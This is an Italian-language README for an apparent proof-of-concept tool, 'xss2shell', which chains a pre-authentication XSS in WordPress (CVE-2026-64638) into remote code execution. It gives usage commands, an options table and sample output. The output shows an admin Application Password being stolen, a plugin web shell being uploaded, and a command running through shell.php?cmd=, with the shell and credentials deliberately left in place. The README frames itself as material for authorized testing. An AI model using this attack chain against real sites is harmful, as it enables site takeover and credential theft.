
Wordpress Pre-auth XSS to RCE exploit PoC (xss2shell & CVE-2026-64638)
XSS2Shell è una prova di concetto educativa per CVE-2026-64638, che dimostra l'impatto di un problema XSS pre-autenticazione nelle installazioni WordPress vulnerabili. Con la partecipazione esplicita di un amministratore, la PoC acquisisce una Application Password di WordPress, pubblica una pagina temporanea, carica un plugin di test e verifica se l'endpoint della shell risultante può eseguire un comando.
Contesto tecnico: WordPress Pre-Auth XSS to RCE: CVE-2026-64638
Solo per formazione e test autorizzati. Esegui questo strumento solo su siti WordPress di tua proprietà o per i quali hai il permesso scritto di valutarli. Non usarlo per colpire amministratori di terze parti o sistemi di produzione.
python3 xss2shell_poc.py -t http://wordpress.research.local --lhost 192.168.1.227 --lport 8080 -c "whoami"
L'URL del target viene normalizzato automaticamente, quindi lo slash finale è opzionale.
/wp-login.php sia raggiungibile e appaia come una pagina di login WordPress.shell.php ed esegue il comando richiesto.Il listener deve essere raggiungibile dal browser dell'amministratore. NAT, firewall, proxy, blocchi popup e regole di contenuto misto (mixed content) possono impedire il completamento del flusso del browser.
__ __ _ _____
\ \ / / | |/ ____|
\ \ /\ / /__ _ __ __| | (___ ___ ___
\ \/ \/ / _ \| '__/ _` |\___ \ / _ \/ __|
\ /\ / (_) | | | (_| |____) | __/ (__
\/ \/ \___/|_| \__,_|_____/ \___|\___|
xss2shell & CVE-2026-64638 | https://wordsec.net/ - Education Purpose Only
============================================================
[*] XSS2Shell starting ...
[*] Checking target: http://wordpress.research.local/wp-login.php
[+] Admin panel found: http://wordpress.research.local/wp-login.php
[+] Attacker server listening: 192.168.1.227:8080
[*] On the target website, the admin must open this page and log in:
-> http://wordpress.research.local/wp-login.php
[*] Then the admin opens the link that was sent to them:
-> http://192.168.1.227:8080/
[*] Waiting for the admin to visit (Ctrl+C to stop) ...
[+] Child popup document initialized
[+] Popup window ready, XSS payload prepared
[+] Application Password saved to xss2shell_creds.json for later runs (shell: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php)
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=3SGS Loba 2Txw EzWz EbZC xZst (saved to xss2shell_creds.json)
[+] Attacker page published: http://wordpress.research.local/xss2shell-1786125273210/
[+] Plugin ZIP upload request sent with the victim's session
[+] Shell reachable: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php
============================================================
[+] Command output:
www-data
============================================================
[*] Cleanup: published page deleted (id=61)
[*] Cleanup: Application Password, plugin shell, and saved credentials preserved
[+] Shell link: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php?cmd=whoami
[+] Done.
Le esecuzioni riuscite salvano la Application Password acquisita in
xss2shell_creds.json per riutilizzarla nelle esecuzioni successive. La pagina temporanea pubblicata viene
eliminata automaticamente dopo il comando, a meno che non si usi --keep.
Il plugin di test, l'endpoint della shell, la Application Password e le credenziali salvate vengono
intenzionalmente conservati dalla PoC attuale. Rimuovili manualmente dal sito di test
dopo una valutazione autorizzata ed elimina xss2shell_creds.json localmente.
Considera il file delle credenziali come sensibile e non committarlo mai nel version control.
Usa la licenza inclusa in questo repository.
Realizzato da WordSec
| Opzione | Obbligatorio | Descrizione |
|---|
-t, --target | Sì | URL base di WordPress, incluso http:// o https:// |
-c, --command | Sì | Comando da eseguire quando la shell è disponibile |
--lhost | No | IP del listener su cui fare bind e da annunciare; per impostazione predefinita usa l'IP LAN rilevato |
--lport | No | Porta del listener; 0 seleziona una porta casuale disponibile |
--keep | No | Conserva gli artefatti pubblicati invece di eliminare la pagina temporanea |